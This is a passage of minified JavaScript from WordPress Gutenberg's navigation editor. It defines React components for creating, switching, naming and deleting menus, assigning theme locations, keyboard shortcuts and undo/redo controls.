(0,m.__)("Edit menu name: %s"),r),onClick:()=>{e(_,E),a(!0)}},(0,l.createElement)(te.__experimentalText,{limit:24,ellipsizeMode:"tail",truncate:!0},r))))}const st=(0,K.createHigherOrderComponent)((e=>t=>"core/navigation"!==t.name?(0,l.createElement)(e,t):(0,l.createElement)(l.Fragment,null,(0,l.createElement)(lt,null),(0,l.createElement)(e,t))),"withMenuName");function ct(e,t){return["core/navigation","core/navigation-link","core/navigation-submenu"].includes(t)||(0,N.set)(e,["supports","inserter"],!1),e}const ut=(0,K.createHigherOrderComponent)((e=>t=>"core/navigation"!==t.name?(0,l.createElement)(e,t):(0,l.createElement)(e,W({},t,{hasSubmenuIndicatorSetting:!1,hasItemJustificationControls:!1,hasColorSettings:!1}))),"removeNavigationBlockEditUnsupportedFeatures");function dt(e,t){return"core/navigation"!==t?e:{...e,supports:{customClassName:!1,html:!1,inserter:!0},variations:void 0}}const mt=window.wp.keyboardShortcuts,pt=(0,te.withNotices)((function(e){let{className:t,onCreate:n,titleText:a,helpText:r,focusInputOnMount:o=!1,noticeUI:i,noticeOperations:s}=e;const c=(0,K.useFocusOnMount)(o),[v,h]=(0,l.useState)(""),[_,E]=(0,l.useState)(!1),{createInfoNotice:f}=(0,u.useDispatch)(L.store),{saveMenu:b}=(0,u.useDispatch)(d.store),{createErrorNotice:y,removeAllNotices:w}=s,k=(0,u.useSelect)((e=>e(d.store).getLastEntitySaveError(p,g)),[]);return(0,l.useEffect)((()=>{k&&y((0,le.__unstableStripHTML)(null==k?void 0:k.message))}),[k]),(0,l.createElement)("form",{className:we()("edit-navigation-add-menu",t),onSubmit:async e=>{if(e.preventDefault(),!v.length||_)return;E(!0),w();const t=await b({name:v});E(!1),t&&(f((0,m.__)("Menu created"),{type:"snackbar",isDismissible:!0}),n&&n(t.id))}},i,a&&(0,l.createElement)("h3",{className:"edit-navigation-add-menu__title"},a),(0,l.createElement)(te.TextControl,{ref:c,label:(0,m.__)("Menu name"),value:v,onChange:h,help:r}),(0,l.createElement)(te.Button,{className:"edit-navigation-add-menu__create-menu-button",type:"submit",variant:"primary",disabled:!v.length,isBusy:_,"aria-disabled":!v.length||_},(0,m.__)("Create menu")))})),gt=()=>{};function vt(e){let{menus:t,selectedMenuId:n,onSelectMenu:a=gt}=e;const[r,o]=(0,l.useState)(!1),i=()=>o(!1);return(0,l.createElement)(l.Fragment,null,(0,l.createElement)(te.MenuGroup,null,(0,l.createElement)(te.MenuItemsChoice,{value:n,onSelect:a,choices:t.map((e=>{let{id:t,name:n}=e;return{value:t,label:(0,it.decodeEntities)(n),"aria-label":(0,m.sprintf)(
/* translators: %s: The name of a menu. */
(0,m.__)("Switch to '%s'"),n)}}))})),(0,l.createElement)(te.MenuGroup,{hideSeparator:!0},(0,l.createElement)(te.MenuItem,{className:"edit-navigation-menu-switcher__new-button",onClick:()=>o(!0)},(0,m.__)("Create a new menu")),r&&(0,l.createElement)(te.Modal,{title:(0,m.__)("Create a new menu"),className:"edit-navigation-menu-switcher__modal",onRequestClose:i},(0,l.createElement)(pt,{onCreate:e=>{i(),a(e)},helpText:(0,m.__)("A short descriptive name for your menu.")}))))}function ht(e){let{onCreate:t,onSelectMenu:n,menus:a}=e;const r=(null==a?void 0:a.length)>0;return(0,l.createElement)("div",{className:"edit-navigation-empty-state"},r&&(0,l.createElement)("h4",null,(0,m.__)("Choose a menu to edit:")),(0,l.createElement)(te.Card,null,(0,l.createElement)(te.CardBody,null,r?(0,l.createElement)(te.NavigableMenu,null,(0,l.createElement)(vt,{onSelectMenu:n,menus:a})):(0,l.createElement)(pt,{onCreate:t,titleText:(0,m.__)("Create your first menu"),helpText:(0,m.__)("A short descriptive name for your menu."),focusInputOnMount:!0}))))}class _t extends l.Component{constructor(){super(...arguments),this.reboot=this.reboot.bind(this),this.state={error:null}}componentDidCatch(e){this.setState({error:e})}reboot(){this.props.onError&&this.props.onError()}render(){const{error:e}=this.state;return e?(0,l.createElement)(Q.Warning,{className:"navigation-editor-error-boundary",actions:[(0,l.createElement)(te.Button,{key:"recovery",onClick:this.reboot,variant:"secondary"},(0,m.__)("Attempt Recovery"))]},(0,m.__)("The navigation editor has encountered an unexpected error.")):this.props.children}}const Et=_t;function ft(e){let{saveBlocks:t}=e;(0,mt.useShortcut)("core/edit-navigation/save-menu",(e=>{e.preventDefault(),t()}));const{redo:n,undo:a}=(0,u.useDispatch)(d.store);return(0,mt.useShortcut)("core/edit-navigation/undo",(e=>{a(),e.preventDefault()})),(0,mt.useShortcut)("core/edit-navigation/redo",(e=>{n(),e.preventDefault()})),null}ft.Register=function(){const{registerShortcut:e}=(0,u.useDispatch)(mt.store);return(0,l.useEffect)((()=>{e({name:"core/edit-navigation/save-menu",category:"global",description:(0,m.__)("Save the navigation currently being edited."),keyCombination:{modifier:"primary",character:"s"}}),e({name:"core/edit-navigation/undo",category:"global",description:(0,m.__)("Undo your last changes."),keyCombination:{modifier:"primary",character:"z"}}),e({name:"core/edit-navigation/redo",category:"global",description:(0,m.__)("Redo your last undo."),keyCombination:{modifier:"primaryShift",character:"z"}})}),[e]),null};const bt=ft,yt=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{fillRule:"evenodd",d:"M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z",clipRule:"evenodd"}));function wt(e){let{sidebarName:t}=e;const{enableComplementaryArea:n}=(0,u.useDispatch)(je),[a,r]=t===E?// translators: ARIA label for the Menu sidebar tab, selected.
[(0,m.__)("Menu (selected)"),"is-active"]:// translators: ARIA label for the Menu Settings Sidebar tab, not selected.
[(0,m.__)("Menu"),""],[o,i]=t===f?// translators: ARIA label for the Block Settings Sidebar tab, selected.
[(0,m.__)("Block (selected)"),"is-active"]:// translators: ARIA label for the Block Settings Sidebar tab, not selected.
[(0,m.__)("Block"),""];return(0,l.createElement)("ul",null,(0,l.createElement)("li",null,(0,l.createElement)(te.Button,{onClick:()=>n(_,E),className:`edit-navigation-sidebar__panel-tab ${r}`,"aria-label":a,"data-label":(0,m.__)("Menu")},// translators: Text label for the Menu Settings Sidebar tab.
(0,m.__)("Menu"))),(0,l.createElement)("li",null,(0,l.createElement)(te.Button,{onClick:()=>n(_,f),className:`edit-navigation-sidebar__panel-tab ${i}`,"aria-label":o,"data-label":(0,m.__)("Block")},// translators: Text label for the Block Settings Sidebar tab.
(0,m.__)("Block"))))}function kt(){const[e,t]=(0,l.useContext)(ve),[n]=ce(),[a,r]=oe("name",n),o=(0,l.useRef)();return(0,l.useEffect)((()=>{e&&o.current.focus()}),[e]),(0,l.createElement)(te.TextControl,{ref:o,help:(0,m.__)("A short, descriptive name used to refer to this menu elsewhere."),label:(0,m.__)("Name"),onBlur:()=>t(!1),className:"edit-navigation-name-editor__text-control",value:(0,it.decodeEntities)(a||""),onChange:r})}function St(e){let{menuId:t}=e;const[n,a]=oe("auto_add",t);return(0,l.createElement)(te.ToggleControl,{label:(0,m.__)("Add new pages"),help:(0,m.__)("Automatically add published top-level pages to this menu."),checked:null!=n&&n,onChange:a})}function Mt(e){let{menuId:t}=e;return(0,l.createElement)(te.PanelBody,{title:(0,m.__)("Menu settings")},(0,l.createElement)(kt,null),(0,l.createElement)(St,{menuId:t}))}function Nt(e){let{menus:t,selectedMenuId:n,onSelectMenu:a}=e;const{menuLocations:r,assignMenuToLocation:o,toggleMenuLocationAssignment:i}=function(){const[e,t]=(0,l.useState)(null),[n]=ce(),{editMenuEntityRecord:a,menuEntityData:r}=re(n);(0,l.useEffect)((()=>{let e=!0;return(async()=>{const n=await de()({method:"GET",path:"/wp/v2/menu-locations"});e&&t(n)})(),()=>e=!1}),[]);const o=(0,l.useCallback)((async(n,o)=>{const i=e[n].menu,l=(0,N.merge)(e,{[n]:{menu:o}});t(l),a(...r,{locations:me(l,o||i)})}),[e]);return{menuLocations:(0,l.useMemo)((()=>Object.values(e||{})),[e]),assignMenuToLocation:o,toggleMenuLocationAssignment:(t,n)=>{const a=e[t].menu===n?0:n;o(t,a)}}}(),[s,c]=(0,l.useState)(!1),d=()=>c(!1),{createSuccessNotice:p,createErrorNotice:g}=(0,u.useDispatch)(L.store);if(!r||null==t||!t.length)return(0,l.createElement)(te.Spinner,null);if(!r.length)return(0,l.createElement)(te.PanelBody,{title:(0,m.__)("Theme locations")},(0,l.createElement)("p",null,(0,m.__)("There are no available menu locations.")));const v=(0,m.sprintf)(// translators: Number of available theme locations.
(0,m.__)("Your current theme provides %d different locations to place menu."),r.length),h=(0,m.sprintf)(// translators: Number of available theme locations.
(0,m.__)("Your current theme supports %d different locations. Select which menu appears in each location."),r.length),_=r.map((e=>{let{name:a,description:r,menu:o}=e;const s=t.filter((e=>{let{id:t}=e;return![0,n].includes(t)})).find((e=>{let{id:t}=e;return t===o}));return(0,l.createElement)("li",{key:a,className:"edit-navigation-manage-locations__checklist-item"},(0,l.createElement)(te.CheckboxControl,{className:"edit-navigation-manage-locations__menu-location-checkbox",checked:o===n,onChange:()=>i(a,n),label:r,help:s&&(0,m.sprintf)(// translators: menu name.
(0,m.__)("Currently using %s"),(0,it.decodeEntities)(s.name))}))})),E=r.map((e=>(0,l.createElement)("div",{key:e.name,className:"edit-navigation-manage-locations__menu-entry"},(0,l.createElement)(te.SelectControl,{key:e.name,className:"edit-navigation-manage-locations__select-menu",label:e.description,labelPosition:"top",value:(0,it.decodeEntities)(e.menu),options:[{value:0,label:(0,m.__)("Select a Menu"),key:0},...t.map((e=>{let{id:t,name:n}=e;return{key:t,value:t,label:(0,it.decodeEntities)(n)}}))],onChange:t=>{o(e.name,Number(t))}}),(0,l.createElement)(te.Button,{variant:"secondary",style:{visibility:e.menu?"visible":"hidden"},className:"edit-navigation-manage-locations__edit-button",onClick:()=>(d(),a(e.menu))},(0,m.__)("Edit")))));return(0,l.createElement)(te.PanelBody,{title:(0,m.__)("Theme locations")},(0,l.createElement)("div",{className:"edit-navigation-manage-locations__theme-location-text-main"},v),(0,l.createElement)("ul",{className:"edit-navigation-manage-locations__checklist"},_),(0,l.createElement)(te.Button,{variant:"secondary",className:"edit-navigation-manage-locations__open-menu-locations-modal-button","aria-expanded":s,onClick:()=>c(!0)},(0,m.__)("Manage locations")),s&&(0,l.createElement)(te.Modal,{className:"edit-navigation-manage-locations__modal",title:(0,m.__)("Manage locations"),onRequestClose:d},(0,l.createElement)("div",{className:"edit-navigation-manage-locations__theme-location-text-modal"},h),E,(0,l.createElement)(te.Button,{className:"edit-navigation-manage-locations__save-button",variant:"primary",onClick:async()=>{const e="POST",n=t.map((t=>{let{id:n}=t;const a=r.filter((e=>e.menu===n)).map((e=>e.name));return{path:`/wp/v2/menus/${n}`,body:{locations:a},method:e}}));var a;if(!(a=await de()({path:"batch/v1",data:{validation:"require-all-validate",requests:n},method:e})).failed&&1>a.responses.filter((e=>200>e.status||300<=e.status)).length)return p((0,m.__)("Menu locations have been updated."),{type:"snackbar"}),void d();g((0,m.__)("An error occurred while trying to update menu locations."),{type:"snackbar"})}},(0,m.__)("Update"))))}function It(e){let{onDeleteMenu:t,isMenuBeingDeleted:n}=e;const[a,r]=(0,l.useState)(!1);return(0,l.createElement)(te.PanelBody,null,(0,l.createElement)(l.Fragment,null,(0,l.createElement)(te.Button,{className:"edit-navigation-inspector-additions__delete-menu-button",variant:"secondary",isDestructive:!0,isBusy:n,onClick:()=>{r(!0)}},(0,m.__)("Delete menu")),(0,l.createElement)(te.__experimentalConfirmDialog,{isOpen:a,onConfirm:()=>{r(!1),t()},onCancel:()=>r(!1)},(0,m.__)("Are you sure you want to delete this navigation? This action cannot be undone."))))}function Ct(e){let{menuId:t,menus:n,isMenuBeingDeleted:a,onDeleteMenu:r,onSelectMenu:o}=e;const i=(0,K.useViewportMatch)("medium"),{sidebar:s,hasBlockSelection:c,hasSidebarEnabled:d}=(0,u.useSelect)((e=>{const t=e(je).getActiveComplementaryArea(_),n=[E,f].includes(t);return{sidebar:t,hasBlockSelection:!!e(Q.store).getBlockSelectionStart(),hasSidebarEnabled:n}}),[]),{enableComplementaryArea:p}=(0,u.useDispatch)(je);(0,l.useEffect)((()=>{d&&p(_,c?f:E)}),[c,d]);let g=s;return d||(g=c?f:E),(0,l.createElement)(nt,{className:"edit-navigation-sidebar"
/* translators: button label text should, if possible, be under 16 characters. */,title:(0,m.__)("Settings"),closeLabel:(0,m.__)("Close settings"),scope:_,identifier:g,icon:yt,isActiveByDefault:i,header:(0,l.createElement)(wt,{sidebarName:g}),headerClassName:"edit-navigation-sidebar__panel-tabs",isPinnable:!0},g===E&&(0,l.createElement)(l.Fragment,null,(0,l.createElement)(Mt,{menuId:t}),(0,l.createElement)(Nt,{menus:n,selectedMenuId:t,onSelectMenu:o}),(0,l.createElement)(It,{onDeleteMenu:r,isMenuBeingDeleted:a})),g===f&&(0,l.createElement)(Q.BlockInspector,null))}function Bt(e){let{menus:t,isLoading:n}=e;const[a,r]=ce(),[o]=oe("name",a),[i,s]=(0,l.useState)(null),c=(0,l.useMemo)((()=>({className:"edit-navigation-menu-actions__switcher-dropdown",position:"bottom center",anchor:i})),[i]);return n?(0,l.createElement)("div",{className:"edit-navigation-menu-actions"},(0,m.__)("Loading…")):(0,l.createElement)("div",{className:"edit-navigation-menu-actions"},(0,l.createElement)("div",{ref:s,className:"edit-navigation-menu-actions__subtitle-wrapper"},(0,l.createElement)(te.__experimentalText,{size:"body",className:"edit-navigation-menu-actions__subtitle",as:"h2",limit:24,ellipsizeMode:"tail",truncate:!0},(0,it.decodeEntities)(o)),(0,l.createElement)(te.DropdownMenu,{icon:ae,toggleProps:{label:(0,m.__)("Switch menu"),className:"edit-navigation-menu-actions__switcher-toggle",showTooltip:!1,__experimentalIsFocusable:!0},popoverProps:c},(e=>{let{onClose:n}=e;return(0,l.createElement)(vt,{menus:t,selectedMenuId:a,onSelectMenu:e=>{r(e),n()}})}))))}function xt(){const[e,t]=(0,l.useState)(!1),[,n]=ce();return(0,l.createElement)(l.Fragment,null,(0,l.createElement)(te.Button,{variant:"tertiary",onClick:()=>t(!0)},(0,m.__)("New menu")),e&&(0,l.createElement)(te.Modal,{title:(0,m.__)("Create a new menu"),className:"edit-navigation-menu-switcher__modal",onRequestClose:()=>t(!1)},(0,l.createElement)(pt,{helpText:(0,m.__)("A short descriptive name for your menu."),onCreate:e=>{t(!1),n(e)}})))}function Pt(e){let{navigationPost:t}=e;const{isDirty:n}=(0,u.useSelect)((e=>{const{__experimentalGetDirtyEntityRecords:t}=e(d.store);return{isDirty:t().length>0}}),[]),{saveNavigationPost:a}=(0,u.useDispatch)(q),r=!n||!t;return(0,l.createElement)(te.Button,{className:"edit-navigation-toolbar__save-button",variant:"primary",onClick:()=>{a(t)},disabled:r},(0,m.__)("Save"))}const Rt=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{d:"M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z"})),At=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{d:"M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z"})),Dt=window.wp.keycodes;function Tt(){const e=(0,u.useSelect)((e=>e(d.store).hasUndo()),[]),{undo:t}=(0,u.useDispatch)(d.store);return(0,l.createElement)(te.ToolbarButton,{icon:(0,m.isRTL)()?At:Rt,label:(0,m.__)("Undo"),shortcut:Dt.displayShortcut.primary("z"),"aria-disabled":!e,onClick:e?t:void 0})}function Lt(){const e=(0,Dt.isAppleOS)()?Dt.displayShortcut.primaryShift("z"):Dt.displayShortcut.primary("y"),t=(0,u.useSelect)((e=>e(d.store).hasRedo()),[]),{redo:n}=(0,u.useDispatch)(d.store);return(0,l.createElement)(te.ToolbarButton,{icon:(0,m.isRTL)()?Rt:At,label:(0,m.__)("Redo"),shortcut:e,"aria-disabled":!t,onClick:t?n:void 0})}const Ft=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{d:"M18 11.2h-5.2V6h-1.6v5.2H6v1.6h5.2V18h1.6v-5.2H18z"})),Ot=function(){const{navBlockClientId:e}=pe(),{isInserterOpened:t,hasInserterItems:n}=(0,u.useSelect)((t=>({hasInserterItems:t(Q.store).hasInserterItems(e),isInserterOpened:t(q).isInserterOpened()})),[e]),{setIsInserterOpened:a}=(0,u.useDispatch)(q);return(0,l.createElement)(te.ToolbarItem,{as:te.Button,className:"edit-navigation-header-inserter-toggle",variant:"primary",isPressed:t,onMouseDown:e=>{e.preventDefault()},onClick:()=>a(!t),icon:Ft
/* translators: button label text should, if possible, be under 16
    		characters. */,label:(0,m._x)("Toggle block inserter","Generic label for block inserter button"),disabled:!n})},Vt=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{d:"M18.2 17c0 .7-.6 1.2-1.2 1.2H7c-.7 0-1.2-.6-1.2-1.2V7c0-.7.6-1.2 1.2-1.2h3.2V4.2H7C5.5 4.2 4.2 5.5 4.2 7v10c0 1.5 1.2 2.8 2.8 2.8h10c1.5 0 2.8-1.2 2.8-2.8v-3.6h-1.5V17zM14.9 3v1.5h3.7l-6.4 6.4 1.1 1.1 6.4-6.4v3.7h1.5V3h-6.3z"})),{Fill:zt,Slot:Gt}=(0,te.createSlotFill)("EditNavigationToolsMoreMenuGroup");zt.Slot=e=>{let{fillProps:t}=e;return(0,l.createElement)(Gt,{fillProps:t},(e=>e))};const jt=zt;function Ht(){return(0,l.createElement)(ot,null,(e=>(0,l.createElement)(te.MenuGroup,{label:(0,m.__)("Tools")},(0,l.createElement)(te.MenuItem,{role:"menuitem",icon:Vt,href:"https://github.com/WordPress/gutenberg/tree/trunk/packages/edit-navigation/docs/user-documentation.md",target:"_blank",rel:"noopener noreferrer"},(0,m.__)("Help"),(0,l.createElement)(te.VisuallyHidden,{as:"span"},
/* translators: accessibility text */
(0,m.__)("(opens in a new tab)"))),(0,l.createElement)(jt.Slot,{fillProps:{onClose:e}}))))}function Ut(e){let{isMenuSelected:t,menus:n,isPending:a,navigationPost:r}=e;const o=(0,K.useViewportMatch)("medium");return t?(0,l.createElement)("div",{className:"edit-navigation-header"},(0,l.createElement)("div",{className:"edit-navigation-header__toolbar-wrapper"},o&&(0,l.createElement)("h1",{className:"edit-navigation-header__title"},(0,m.__)("Navigation")),(0,l.createElement)(Q.NavigableToolbar,{className:"edit-navigation-header__toolbar","aria-label":(0,m.__)("Document tools")},(0,l.createElement)(Ot,null),o&&(0,l.createElement)(l.Fragment,null,(0,l.createElement)(Tt,null),(0,l.createElement)(Lt,null)))),(0,l.createElement)(Bt,{menus:n,isLoading:a}),(0,l.createElement)("div",{className:"edit-navigation-header__actions"},o&&(0,l.createElement)(xt,null),(0,l.createElement)(Pt,{navigationPost:r}),(0,l.createElement)(Ze.Slot,{scope:"core/edit-navigation"}),(0,l.createElement)(Ht,null))):(0,l.createElement)("div",{className:"edit-navigation-header"},(0,l.createElement)("div",{className:"edit-navigation-header__toolbar-wrapper"},(0,l.createElement)("h1",{className:"edit-navigation-header__title"},(0,m.__)("Navigation"))))}function $t(){const{removeNotice:e}=(0,u.useDispatch)(L.store),t=(0,u.useSelect)((e=>e(L.store).getNotices()),[]),n=(0,N.filter)(t,{isDismissible:!0,type:"default"}),a=(0,N.filter)(t,{isDismissible:!1,type:"default"}),r=(0,N.filter)(t,{type:"snackbar"});return(0,l.createElement)(l.Fragment,null,(0,l.createElement)(te.NoticeList,{notices:a,className:"edit-navigation-notices__notice-list"}),(0,l.createElement)(te.NoticeList,{notices:n,className:"edit-navigation-notices__notice-list",onRemove:e}),(0,l.createElement)(te.SnackbarList,{notices:r,className:"edit-navigation-notices__snackbar-list",onRemove:e}))}function Yt(e){let{isPending:t}=e;return(0,l.createElement)("div",{className:"edit-navigation-editor"},t?(0,l.createElement)(te.Spinner,null):(0,l.createElement)("div",{className:"editor-styles-wrapper"},(0,l.createElement)(Q.WritingFlow,null,(0,l.createElement)(Q.ObserveTyping,null,(0,l.createElement)(Q.BlockList,null)))))}const qt=(0,l.createElement)(ne.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,l.createElement)(ne.Path,{d:"M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"})),Wt=function(){const e=(0,K.useViewportMatch)("medium","<"),{navBlockClientId:t,lastNavBlockItemIndex:n}=pe(),{hasInserterItems:a,selectedBlockClientId:r}=(0,u.useSelect)((e=>{var n;return{hasInserterItems:e(Q.store).hasInserterItems(t),selectedBlockClientId:null===(n=e(Q.store).getSelectedBlock())||void 0===n?void 0:n.clientId}}),[t]),{setIsInserterOpened:o}=(0,u.useDispatch)(q),[i,s]=(0,K.__experimentalUseDialog)({onClose:()=>o(!1)});if(!a)return null;const c=!r||t===r;return(0,l.createElement)("div",W({ref:i},s,{className:"edit-navigation-layout__inserter-panel"}),(0,l.createElement)("div",{className:"edit-navigation-layout__inserter-panel-header"},(0,l.createElement)(te.Button,{icon:qt,onClick:()=>o(!1)})),(0,l.createElement)("div",{className:"edit-navigation-layout__inserter-panel-content"},(0,l.createElement)(Q.__experimentalLibrary,{rootClientId:c?t:void 0,__experimentalInsertionIndex:c?n:void 0,shouldFocusBlock:e,showInserterHelpPanel:!1})))};function Jt(){const e=(0,u.useSelect)((e=>{const{__experimentalGetDirtyEntityRecords:t}=e(d.store);return t().length>0}),[]);return(0,l.useEffect)((()=>{const t=t=>{if(e)return t.returnValue=(0,m.__)("You have unsaved changes. If you proceed, they will be lost."),t.returnValue};return window.addEventListener("beforeunload",t),()=>{window.removeEventListener("beforeunload",t)}}),[e]),null}const Kt={
/* translators: accessibility text for the navigation screen top bar landmark region. */
header:(0,m.__)("Navigation top bar"),
/* translators: accessibility text for the navigation screen content landmark region. */
body:(0,m.__)("Navigation menu blocks"),
/* translators: accessibility text for the navigation screen settings landmark region. */
sidebar:(0,m.__)("Navigation settings"),secondarySidebar:(0,m.__)("Block library")};function Qt(e){let{blockEditorSettings:t}=e;const n=(0,Q.__unstableUseBlockSelectionClearer)(),[a,r]=(0,l.useState)(!1),{saveNavigationPost:o}=(0,u.useDispatch)(q),{menus:i,hasLoadedMenus:s,hasFinishedInitialLoad:c,selectedMenuId:_,navigationPost:E,isMenuBeingDeleted:f,selectMenu:b,deleteMenu:y,isMenuSelected:w}=function(){var e;const{deleteMenu:t}=(0,u.useDispatch)(d.store),[n,a]=ce(),[r,o]=(0,l.useState)(!1),{editedMenu:i,hasLoadedEditedMenu:s}=re(n),{menus:c,hasLoadedMenus:p}=(0,u.useSelect)(ie,[]);(0,l.useEffect)((()=>{var e;!s||null!==(e=Object.keys(i))&&void 0!==e&&e.length||a(null)}),[s,i]);const{createErrorNotice:g,createInfoNotice:v}=(0,u.useDispatch)(L.store),h=(0,u.useSelect)((e=>e(d.store).isDeletingEntityRecord("root","menu",n)),[n]),_=(null==c||null===(e=c.find((e=>{let{id:t}=e;return t===n})))||void 0===e?void 0:e.name)||"";(0,l.useEffect)((()=>{p&&o(!0)}),[p]);const E=(0,u.useSelect)((e=>{if(n)return e(q).getNavigationPostForMenu(n)}),[n]);return{menus:c,hasLoadedMenus:p,hasFinishedInitialLoad:r,selectedMenuId:n,navigationPost:E,isMenuBeingDeleted:h,selectMenu:a,deleteMenu:async()=>{await t(n,{force:!0})?(a(null),v((0,m.sprintf)(// translators: %s: the name of a menu.
(0,m.__)('"%s" menu has been deleted'),_),{type:"snackbar",isDismissible:!0})):g((0,m.__)("Menu deletion unsuccessful"))},isMenuSelected:!!n}}(),[k,S,M]=(0,d.useEntityBlockEditor)(v,h,{id:null==E?void 0:E.id}),{hasSidebarEnabled:N,isInserterOpened:I}=(0,u.useSelect)((e=>({hasSidebarEnabled:!!e(je).getActiveComplementaryArea("core/edit-navigation"),isInserterOpened:e(q).isInserterOpened()})),[]);(0,l.useEffect)((()=>{!_&&null!=i&&i.length&&b(i[0].id)}),[_,i]),function(e){const{createErrorNotice:t}=(0,u.useDispatch)(L.store),n=(0,u.useSelect)((t=>t(d.store).getLastEntityDeleteError(p,g,e)),[e]);(0,l.useEffect)((()=>{n&&t((0,le.__unstableStripHTML)(null==n?void 0:n.message),{id:"edit-navigation-error"})}),[n])}(_);const C=!!(null!=i&&i.length&&E&&w);return(0,l.createElement)(Et,null,(0,l.createElement)(mt.ShortcutProvider,null,(0,l.createElement)("div",{hidden:!f,className:"edit-navigation-layout__overlay"}),(0,l.createElement)(te.SlotFillProvider,null,(0,l.createElement)(Q.BlockEditorKeyboardShortcuts.Register,null),(0,l.createElement)(bt.Register,null),(0,l.createElement)(bt,{saveBlocks:()=>o(E)}),(0,l.createElement)(Q.BlockEditorProvider,{value:k,onInput:S,onChange:M,settings:{...t,templateLock:"all"},useSubRegistry:!1},(0,l.createElement)(ve.Provider,{value:(0,l.useMemo)((()=>[a,r]),[a])},(0,l.createElement)(at,{className:"edit-navigation-layout",labels:Kt,header:(0,l.createElement)(Ut,{isMenuSelected:w,isPending:!s,menus:i,navigationPost:E}),content:(0,l.createElement)(l.Fragment,null,(0,l.createElement)($t,null),!c&&(0,l.createElement)(te.Spinner,null),!w&&c&&(0,l.createElement)(ht,{onSelectMenu:b,onCreate:b,menus:i}),C&&(0,l.createElement)("div",{className:"edit-navigation-layout__content-area",ref:n},(0,l.createElement)(Q.BlockTools,null,(0,l.createElement)(Yt,{isPending:!s})))),sidebar:N&&(0,l.createElement)(nt.Slot,{scope:"core/edit-navigation"}),secondarySidebar:I&&(0,l.createElement)(Wt,null)}),w&&(0,l.createElement)(Ct,{menus:i,menuId:_,onSelectMenu:b,onDeleteMenu:y,isMenuBeingDeleted:f})),(0,l.createElement)(Jt,null)),(0,l.createElement)(te.Popover.Slot,null),(0,l.createElement)(He.PluginArea,null))))}const Xt=window.wp.url;function Zt(e){const t=Object.keys(e).reduce(((t,n)=>(t[(0,Xt.normalizePath)(n)]=e[n],t)),{});let n=!1,a=!1;return(e,r)=>{var o,i;const{parse:l=!0}=e;if("string"!=typeof e.path)return r(e);if("GET"!==(e.method||"GET"))return r(e);const s=(0,Xt.normalizePath)(e.path);if(!n&&t[s])return n=!0,en(t[s],l);if(a)return r(e);const c=s.match(/^\/wp\/v2\/menus\/(\d+)\?context=edit$/);if(!c)return r(e);const u=null===(o=Object.keys(t))||void 0===o?void 0:o[0],d=null===(i=t[u])||void 0===i?void 0:i.body;if(!d)return r(e);const m=parseInt(c[1]),p=d.filter((e=>{let{id:t}=e;return t===m}));return p.length>0?(a=!0,en({body:p[0],headers:{}},l)):r(e)}}function en(e,t){return Promise.resolve(t?e.body:new window.Response(JSON.stringify(e.body),{status:200,statusText:"OK",headers:e.headers}))}function tn(e){let{settings:t}=e;const{setIsInserterOpened:n}=(0,u.useDispatch)(q),a=n,r=(e,n)=>(n.perPage=10,(0,d.__experimentalFetchLinkSuggestions)(e,n,t)),o=(0,l.useMemo)((()=>({...t,__experimentalFetchLinkSuggestions:r,__experimentalSetIsInserterOpened:a,__experimentalFetchRichUrlData:d.__experimentalFetchUrlData})),[t,r,a]);return(0,l.createElement)(Qt,{blockEditorSettings:o})}function nn(e,t){!function(e){var t;t=!e.blockNavMenus,(0,J.addFilter)("editor.BlockEdit","core/edit-navigation/with-navigation-editor-custom-appender",ee),(0,J.addFilter)("editor.BlockEdit","core/edit-navigation/with-navigation-editor-placeholder",be),(0,J.addFilter)("editor.BlockEdit","core/edit-navigation/with-menu-name",st),t&&(0,J.addFilter)("blocks.registerBlockType","core/edit-navigation/disable-inserting-non-navigation-blocks",ct),(0,J.addFilter)("editor.BlockEdit","core/edit-navigation/remove-navigation-block-edit-unsupported-features",ut),(0,J.addFilter)("blocks.registerBlockType","core/edit-navigation/remove-navigation-block-settings-unsupported-features",dt),(0,u.dispatch)(d.store).addEntities([{kind:v,name:h,transientEdits:{blocks:!0,selection:!0},label:(0,m.__)("Navigation 